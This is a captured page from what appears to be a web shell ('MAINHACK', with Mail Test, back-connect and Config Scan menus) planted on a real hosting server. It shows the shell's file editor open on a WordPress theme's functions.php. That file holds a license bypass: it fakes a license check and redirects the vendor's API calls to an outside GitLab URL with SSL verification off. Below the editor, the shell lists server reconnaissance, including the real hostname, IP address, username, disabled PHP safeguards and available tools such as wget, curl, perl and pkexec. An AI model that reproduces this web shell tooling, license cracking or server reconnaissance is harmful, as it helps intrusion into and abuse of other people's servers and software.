[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: functions.php
<?php define('TAGDIV_ROOT', get_template_directory_uri()); define('TAGDIV_ROOT_DIR', get_template_directory()); $tdnull = get_option( 'td_011' ); $tdnull['td_011_'] = 2; $tdnull['td_011'] = base64_encode( '********************************' ); update_option( 'td_011', $tdnull ); set_transient('TD_CHECKED_LICENSE', 'SUCCESS'); add_filter( 'pre_http_request', function( $pre, $args, $url ){ if ( $url === 'https://cloud.tagdiv.com/api/get_all' ) { $args['timeout'] = 60; $args['sslverify'] = false; $url = 'https://gitlab.com/devopwp/newspaper/-/raw/master/templates.json'; return wp_remote_get( $url, $args ); } if ( $url === 'https://cloud.tagdiv.com/api/templates/check_domains' ) { return [ 'response' => [ 'code' => 200, 'message' => 'ОК' ] ]; } return $pre; }, 10, 3 ); // load the deploy mode require_once( TAGDIV_ROOT_DIR . '/tagdiv-deploy-mode.php' ); /** * Theme configuration. */ require_once TAGDIV_ROOT_DIR . '/includes/tagdiv-config.php'; /** * Theme wp booster. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-wp-booster-functions.php'); /** * Theme page generator support. */ if ( ! class_exists('tagdiv_page_generator' ) ) { include_once ( TAGDIV_ROOT_DIR . '/includes/tagdiv-page-generator.php'); } /* ---------------------------------------------------------------------------- * Add theme support for sidebar */ add_action( 'widgets_init', function() { register_sidebar( array( 'name'=> 'Newspaper default', 'id' => 'td-default', 'before_widget' => '<aside id="%1$s" class="widget %1$s %2$s">', 'after_widget' => '</aside>', 'before_title' => '<div class="block-title"><span>', 'after_title' => '</span></div>' ) ); }); add_filter( 'pre_handle_404', 'tagdiv_pre_handle_404', 10, 2); function tagdiv_pre_handle_404( $param1, $param2 ) { global $_SERVER; $req_scheme = is_ssl() ? 'https' : 'http'; $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; $post_id = url_to_postid($req_scheme . '://' . $host . $uri); if ( defined('TD_COMPOSER') && !empty($post_id) ) { $td_post_theme_settings = td_util::get_post_meta_array($post_id, 'td_post_theme_settings'); $td_default_site_post_template = td_util::get_option('td_default_site_post_template'); $is_smart_list_template = false; // Check if smart list template is specified in post theme settings if (is_array($td_post_theme_settings) && array_key_exists('smart_list_template', $td_post_theme_settings)) { $is_smart_list_template = true; } elseif (td_global::is_tdb_registered()) { // Check if smart list template is used individually or global post template $template_to_check = (!empty($td_post_theme_settings['td_post_template'])) ? $td_post_theme_settings['td_post_template'] : $td_default_site_post_template; if (!empty($template_to_check) && td_global::is_tdb_template($template_to_check, true)) { $td_template_id = td_global::tdb_get_template_id($template_to_check); $td_template_content = get_post_field('post_content', $td_template_id); $is_tdb_smartlist = tdb_util::get_shortcode($td_template_content, 'tdb_single_smartlist'); if ($is_tdb_smartlist) { $is_smart_list_template = true; } } } return $is_smart_list_template; } return $param1; } /** * Theme setup. */ add_action( 'after_setup_theme', function () { /** * Loads the theme's translated strings. */ load_theme_textdomain( strtolower(TD_THEME_NAME ), get_template_directory() . '/translation' ); /** * Theme menu location. */ register_nav_menus( array( 'header-menu' => 'Header Menu (main)', 'footer-menu' => 'Footer Menu', ) ); }); /* ---------------------------------------------------------------------------- * Add theme support for features */ add_theme_support('title-tag'); add_theme_support('post-thumbnails'); add_theme_support('automatic-feed-links'); add_theme_support('html5', array('comment-list', 'comment-form', 'search-form', 'gallery', 'caption')); add_theme_support('woocommerce'); add_theme_support('bbpress'); add_theme_support('align-wide'); add_theme_support('align-full'); global $content_width; if ( !isset($content_width) ) { $content_width = 696; } /* ---------------------------------------------------------------------------- * Woo Commerce */ // breadcrumb add_filter('woocommerce_breadcrumb_defaults', 'tagdiv_woocommerce_breadcrumbs'); function tagdiv_woocommerce_breadcrumbs() { return array( 'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ', 'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">', 'wrap_after' => '</div>', 'before' => '', 'after' => '', 'home' => _x('Home', 'breadcrumb', 'newspaper'), ); } /* ---------------------------------------------------------------------------- * SEOPress */ // Fix custom title meta tags from not applying if( defined( 'SEOPRESS_VERSION' ) ) { add_action( 'after_setup_theme', 'tagdiv_seopress_fix_title_meta', 99999999999999 ); function tagdiv_seopress_fix_title_meta() { add_theme_support( 'title-tag' ); remove_all_filters( 'wp_title' ); remove_all_filters( 'wpseo_title' ); remove_all_actions( 'wp_head', 'theme_slug_render_title' ); add_filter( 'wp_title', 'tagdiv_seopress_remove_title', 9999999999999, 2 ); } function tagdiv_seopress_remove_title( $title, $sep ) { return false; } add_action( 'wp_loaded', 'tagdiv_seopress_buffer_start' ); function tagdiv_seopress_buffer_start() { ob_start( 'tagdiv_seopress_remove_empty_title' ); } function tagdiv_seopress_remove_empty_title( $buffer ) { return str_replace( '<title></title>', '', $buffer ); } } /* ---------------------------------------------------------------------------- * front end css files */ if( !function_exists('tagdiv_theme_css') ) { function tagdiv_theme_css() { wp_enqueue_style('td-theme', get_stylesheet_uri() ); // load the WooCommerce CSS only when needed if ( class_exists('WooCommerce', false) ) { wp_enqueue_style('td-theme-woo', get_template_directory_uri() . '/style-woocommerce.css' ); } // load the Bbpress CSS only when needed if ( class_exists('bbPress', false) ) { wp_enqueue_style('td-theme-bbpress', get_template_directory_uri() . '/style-bbpress.css' ); } } } add_action('wp_enqueue_scripts', 'tagdiv_theme_css', 1001); /* ---------------------------------------------------------------------------- * dequeue the front end gutenberg block library css files */ if( !function_exists( 'tagdiv_theme_dequeue_gutenberg_css' ) ) { function tagdiv_theme_dequeue_gutenberg_css() { // dequeue only if we are on a page which uses TagDiv Composer blocks // OR if we are NOT on a post, CPT or regular page if( ( class_exists( 'td_global' ) && method_exists( 'td_global', 'is_page_builder_content' ) && td_global::is_page_builder_content() ) || ( !( is_single() && !is_attachment() && get_post_type() != 'product' ) && !is_page() ) ) { wp_dequeue_style( 'wp-block-library' ); wp_dequeue_style( 'wp-block-library-theme' ); wp_dequeue_style( 'wc-blocks-style' ); } } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_dequeue_gutenberg_css', 100 ); add_filter('upgrader_clear_destination', function($removed, $local_destination, $remote_destination, $args) { usleep(500); return $removed; }, 10, 4); if ( defined('TD_COMPOSER' ) ) { if ( is_admin() ) { $user = get_userdata( get_current_user_id() ); if ( $user instanceof WP_User && in_array( 'administrator', (array) $user->roles ) ) { $value = get_transient( 'td_update_theme_' . TD_THEME_NAME ); if ( false === $value ) { tagdiv_check_theme_version(); } else { $td_theme_update_to_version = get_transient( 'td_update_theme_to_version_' . TD_THEME_NAME ); if ( false !== $td_theme_update_to_version ) { $theme_update_to_version = tagdiv_util::get_option( 'theme_update_to_version' ); if ( ! empty( $theme_update_to_version ) ) { add_filter( 'pre_set_site_transient_update_themes', function ( $transient ) { $to_version = tagdiv_util::get_option( 'theme_update_to_version' ); if ( ! empty( $to_version ) ) { $args = array(); $to_version = json_decode( $to_version, true ); $to_version_keys = array_keys( $to_version ); if ( is_array( $to_version_keys ) && count( $to_version_keys ) ) { $to_version_serial = $to_version_keys[ 0 ]; $to_version_url = $to_version[ $to_version_serial ]; $theme_slug = get_template(); $transient->response[ $theme_slug ] = array( 'theme' => $theme_slug, 'new_version' => $to_version_serial, 'url' => "https://tagdiv.com/" . TD_THEME_NAME, 'clear_destination' => true, 'package' => add_query_arg( $args, $to_version_url ), ); } } return $transient; } ); delete_site_transient( 'update_themes' ); } } else { $td_theme_update_latest_version = get_transient( 'td_update_theme_latest_version_' . TD_THEME_NAME ); if ( false !== $td_theme_update_latest_version ) { add_filter( 'pre_set_site_transient_update_themes', function ( $transient ) { $latest_version = tagdiv_util::get_option( 'theme_update_latest_version' ); if ( ! empty( $latest_version ) ) { $args = array(); $latest_version = json_decode( $latest_version, true ); $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[ 0 ]; $latest_version_url = $latest_version[ $latest_version_serial ]; $theme_slug = get_template(); $transient->response[ $theme_slug ] = array( 'theme' => $theme_slug, 'new_version' => $latest_version_serial, 'url' => "https://tagdiv.com/" . TD_THEME_NAME, 'clear_destination' => true, 'package' => add_query_arg( $args, $latest_version_url ), ); } } return $transient; } ); delete_site_transient( 'update_themes' ); } } } if ( is_plugin_active('td-subscription/td-subscription.php') && defined('TD_SUBSCRIPTION_VERSION') ) { $transient_plugin_subscription = get_transient( 'td_update_plugin_subscription' ); if ( false === $transient_plugin_subscription ) { tagdiv_check_plugin_subscription_version(); } else { $transient_update_plugin_subscription_latest_version = get_transient( 'td_update_plugin_subscription_latest_version' ); if ( false !== $transient_update_plugin_subscription_latest_version ) { $latest_version = tagdiv_util::get_option('plugin_subscription_update_latest_version'); $latest_version = json_decode($latest_version, true); if ( !empty($latest_version) && is_array($latest_version) && count($latest_version) ) { $latest_version_keys = array_keys($latest_version); if ( is_array($latest_version_keys) && count($latest_version_keys) ) { $latest_version_serial = $latest_version_keys[0]; if ( 1 == version_compare($latest_version_serial, TD_SUBSCRIPTION_VERSION) ) { add_filter('pre_set_site_transient_update_plugins', function ($transient) { $latest_version = tagdiv_util::get_option('plugin_subscription_update_latest_version'); $latest_version = json_decode($latest_version, true); if ( !empty($latest_version) ) { $args = array(); $latest_version_keys = array_keys($latest_version); $latest_version_serial = $latest_version_keys[0]; $latest_version_url = $latest_version[$latest_version_serial]; $plugin_id = 'td-subscription/td-subscription.php'; $transient->response[$plugin_id] = (object)array( 'id' => $plugin_id, 'slug' => 'td-subscription', 'plugin' => $plugin_id, 'new_version' => $latest_version_serial, 'url' => "https://tagdiv.com/td_subscription", 'package' => add_query_arg($args, $latest_version_url), ); } return $transient; }); delete_site_transient('update_plugins'); } } } } } } } } add_filter( 'admin_body_class', function ( $classes ) { // Check for Theme updates $new_update_available = false; $latest_version = tagdiv_util::get_option( 'theme_update_latest_version' ); if ( ! empty( $latest_version ) ) { $latest_version = json_decode( $latest_version, true ); $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[ 0 ]; if ( 1 == version_compare( $latest_version_serial, TD_THEME_VERSION ) ) { $new_update_available = true; } } } if ( $new_update_available ) { $classes .= ' td-theme-update'; } // Check for Plugin updates wp_update_plugins(); $plugin_updates = get_site_transient( 'update_plugins' ); foreach ( tagdiv_global::get_td_plugins() as $constant => $settings ) { $plugin_id = 'td-subscription/td-subscription.php'; $plugin_name = strtolower( str_replace('_', '-', $constant ) ); $plugin = $plugin_name . '/' . $plugin_name . '.php'; if ( $plugin === $plugin_id && !empty($plugin_updates->response[$plugin_id]) ) { $classes .= ' td-subscription-plugin-update'; break; } } return $classes; } ); add_filter( 'admin_head', function () { $td_update_theme_ready = get_transient( 'td_update_theme_' . TD_THEME_NAME ); if ( false !== $td_update_theme_ready ) { $td_checked_licence = get_transient( 'TD_CHECKED_LICENSE' ); $update_data = ''; $td_theme_update_to_version = get_transient( 'td_update_theme_to_version_' . TD_THEME_NAME ); if ( false !== $td_theme_update_to_version ) { $data = tagdiv_util::get_option( 'theme_update_to_version' ); if ( ! empty( $data ) ) { $update_data = $data; } } else { $data = tagdiv_util::get_option( 'theme_update_latest_version' ); if ( ! empty( $data ) ) { $update_data = $data; } } if ( ! empty( $update_data ) ) { ob_start(); ?> <script> var tdData = { version: <?php echo '' . $update_data ?>, adminUrl: "<?php echo admin_url() ?>", themeName: "<?php echo TD_THEME_NAME ?>", checkedLicence: "<?php echo $td_checked_licence ?>", }; </script> <?php echo ob_get_clean(); } } } ); } // Load comments reply support if needed add_action( 'comment_form_before', function() { if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } }); //add_action( 'admin_footer', 'tdc_error_report' ); function tdc_error_report() { ?> <iframe id="iframe-reports" src="http://report.tagdiv.com/?name=form_report" style="width:0px;height:0px;display:none"></iframe> <?php } add_action('upgrader_process_complete', function($upgrader, $data) { if ($data['action'] == 'update' && $data['type'] == 'theme' ) { // clear flag to update theme delete_transient( 'td_update_theme_' . TD_THEME_NAME ); // clear flag to update theme to latest version delete_transient( 'td_update_theme_latest_version_' . TD_THEME_NAME ); // clear flag to update theme to specific version delete_transient( 'td_update_theme_to_version_' . TD_THEME_NAME ); // clear flag to update to a specific version tagdiv_util::update_option( 'theme_update_to_version', '' ); $current_deactivated_plugins = tagdiv_options::get_array('td_theme_deactivated_current_plugins' ); if ( ! empty( $current_deactivated_plugins ) ) { $theme_setup = tagdiv_theme_plugins_setup::get_instance(); $theme_setup->theme_plugins( array_keys( $current_deactivated_plugins ) ); ob_start(); ?> <script> window.onload = (event) => { setTimeout(function () { jQuery('.td-button-install-plugins').trigger('click'); }, 1000); } </script> <?php echo ob_get_clean(); } } }, 10, 2); add_action('upgrader_process_complete', function($upgrader, $data) { if ($data['action'] == 'update' && $data['type'] == 'plugin' && (( !empty($data['plugins']) && in_array('td-subscription/td-subscription.php', $data['plugins'])) || (!empty($data['plugin']) && 'td-subscription/td-subscription.php' === $data['plugin'])) ) { // clear flag to update theme to latest version delete_transient( 'td_update_plugin_subscription' ); // clear flag to update theme to specific version delete_transient( 'td_update_plugin_subscription_latest_version'); } }, 10, 2); add_filter('upgrader_pre_install', function( $return, $theme) { if ( is_wp_error( $return ) ) { return $return; } $theme = isset( $theme['theme'] ) ? $theme['theme'] : ''; if ( ! in_array( get_stylesheet(), array($theme, $theme . '-child'))) { //If not current return $return; } tagdiv_options::update_array( 'td_theme_deactivated_current_plugins', '' ); $deactivation = new tagdiv_current_plugins_deactivation(); $deactivation->td_deactivate_current_plugins( true ); return $return; }, 10, 2); add_action( 'current_screen', function() { $current_screen = get_current_screen(); if ( 'update-core' === $current_screen->id && isset( $_REQUEST['update_theme'] )) { add_action('admin_head', function() { $theme_name = $_REQUEST['update_theme']; ob_start(); ?> <script> jQuery(window).ready(function() { 'use strict'; var $formUpgradeThemes = jQuery('form[name="upgrade-themes"]'); if ( $formUpgradeThemes.length ) { var $input = $formUpgradeThemes.find('input[type="checkbox"][value="<?php echo esc_js( $theme_name ) ?>"]'); if ($input.length) { $input.attr( 'checked', true ); $formUpgradeThemes.submit(); } } }); </script> <?php echo ob_get_clean(); }); } }); add_filter( 'render_block', 'td_filter_youtube_embed', 10, 3); function td_filter_youtube_embed( $block_content, $block ) { if( 'core-embed/youtube' !== $block['blockName'] ) { return $block_content; } $matches = array(); preg_match('/iframe(.*)src=\"(\S*)\"/', $block_content, $matches); if ( !empty($matches) && is_array($matches) && 3 === count($matches)) { $url = $matches[2]; if (strpos($url, '?') > 0 ) { $new_url = $url . '&enablejsapi=1'; } else { $new_url = $url . '?enablejsapi=1'; } $block_content = str_replace( $url, $new_url, $block_content); } return $block_content; } add_filter('the_content', 'td_remove_inactive_shortcodes'); // post_content is used for header content add_filter('post_content', 'td_remove_inactive_shortcodes'); /** * Function to remove inactive shortcodes from content * * @param string $content The content of the post. * @return string Modified content with inactive shortcodes removed. */ function td_remove_inactive_shortcodes($content) { // Return the content unmodified for administrators if (current_user_can('administrator')) { return $content; } $header_content_filtered = array(); // Check if the content is base64 encoded (header content) if ( tagdiv_util::is_base64($content) ) { $header_content_arr = json_decode(base64_decode($content), true); if ( is_array($header_content_arr) ) { foreach ( $header_content_arr as $index => $header_content ) { $header_content_filtered[$index] = tagdiv_util::remove_inactive_shortcodes($header_content); } } // Encode the filtered content back to base64 $content = base64_encode(json_encode($header_content_filtered)); } else { // Remove inactive shortcodes from basic content $content = tagdiv_util::remove_inactive_shortcodes($content); } return $content; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.33 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: 4522